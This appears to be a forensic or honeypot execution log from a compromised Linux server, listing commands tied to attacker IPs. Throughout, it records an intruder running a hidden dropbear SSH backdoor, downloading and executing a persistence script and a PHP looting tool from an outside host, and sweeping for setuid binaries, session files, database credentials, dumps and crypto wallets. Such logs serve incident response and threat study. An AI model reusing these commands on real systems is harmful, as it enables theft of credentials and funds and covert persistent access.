| 2026-10-31 01:20:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -20 /var/tmp/.p/db.log |
| 2026-10-31 01:20:59 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c /bin/bash -l ; /bin/bash -l ; id -u ; run-parts --list --regex ^[a-zA-Z0-9_][a-zA-Z0-9._-]*\.sh$ /etc/profile.d |
| 2026-10-31 01:21:16 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=t1 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude=*.min.* --excl |
| 2026-10-31 01:21:16 | Not attributed | Not attributed | timeout -> timeout | sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- |
| 2026-10-31 01:21:16 | Not attributed | Not attributed | sh -> sh | timeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot- |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f - |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home /tmp -xdev ( -path /tmp/t1 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | ls -laR /var/log |
| 2026-10-31 01:21:22 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log |
| 2026-10-31 01:21:41 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -3 /var/tmp/.p/db.log |
| 2026-10-31 01:21:48 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n |
| 2026-10-31 01:21:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c id; hostname; pwd; echo RC=0 ; id ; hostname |
| 2026-10-31 01:22:08 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print |
| 2026-10-31 01:22:08 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n |
| 2026-10-31 01:22:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af keep.sh|dropbear -F|dk_key |
| 2026-10-31 01:22:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o keep.sh http://206.245.153.56:8088/tools/j490/keep.sh |
| 2026-10-31 01:22:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | chmod +x keep.sh |
| 2026-10-31 01:22:28 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | sh -> sh | cat /etc/crontab |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | sh -> sh | ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print |
| 2026-10-31 01:22:34 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n |
| 2026-10-31 01:22:39 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc |
| 2026-10-31 01:22:39 | Not attributed | Not attributed | sh -> sh | find /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n |
| 2026-10-31 01:22:39 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na |
| 2026-10-31 01:22:39 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" |
| 2026-10-31 01:22:39 | Not attributed | Not attributed | sh -> sh | ls -la /etc/supervisor /etc/supervisor/conf.d |
| 2026-10-31 01:22:44 | Not attributed | Not attributed | sh -> sh | find /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n |
| 2026-10-31 01:22:44 | Not attributed | Not attributed | sh -> sh | ls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb |
| 2026-10-31 01:22:44 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea |
| 2026-10-31 01:22:44 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor |
| 2026-10-31 01:22:50 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 20 -o /tmp/.php-loot.2397.php http://206.245.153.56:8088/tools/php-loot.php |
| 2026-10-31 01:22:55 | Not attributed | Not attributed | timeout -> timeout | sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' ; sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' |
| 2026-10-31 01:22:55 | Not attributed | Not attributed | sh -> sh | timeout 120 sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php' |
| 2026-10-31 01:22:55 | Not attributed | Not attributed | sh -> sh | php /tmp/.php-loot.2397.php /tmp/t1/php |
| 2026-10-31 01:23:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -4 /var/tmp/.p/db.log |
| 2026-10-31 01:23:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -6 /var/tmp/.p/db.log |
| 2026-10-31 01:23:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af dropbear -F|dk_key|keep.sh |
| 2026-10-31 01:23:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af dropbear -F|dk_key |
| 2026-10-31 01:23:07 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:23:07 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:23:07 | Not attributed | Not attributed | sh -> sh | ps -e |
| 2026-10-31 01:23:07 | Not attributed | Not attributed | sh -> sh | rm -f /tmp/.php-loot.2397.php |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^ID=//p /etc/os-release |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^PRETTY_NAME=//p /etc/os-release |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_ID=//p /etc/os-release |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_CODENAME=//p /etc/os-release |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | id -g |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | id -u |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | id -Gn |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:23:11 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:23:11 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c id; hostname; cat /etc/hostname ; id ; hostname ; cat /etc/hostname |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk /^MemAvailable:/{print $2} /proc/meminfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk /^MemFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk /^SwapTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk /^MemTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | awk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:23:15 | Not attributed | Not attributed | sh -> sh | grep -c ^processor /proc/cpuinfo |
| 2026-10-31 01:23:16 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | sh /tmp/collect.sh -i 1425 -n <REDACTED>-20261031 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 |
| 2026-10-31 01:23:19 | Not attributed | Not attributed | sh -> sh | df -P / |
| 2026-10-31 01:23:19 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:23:19 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:23:19 | Not attributed | Not attributed | sh -> sh | awk /^SwapFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat |
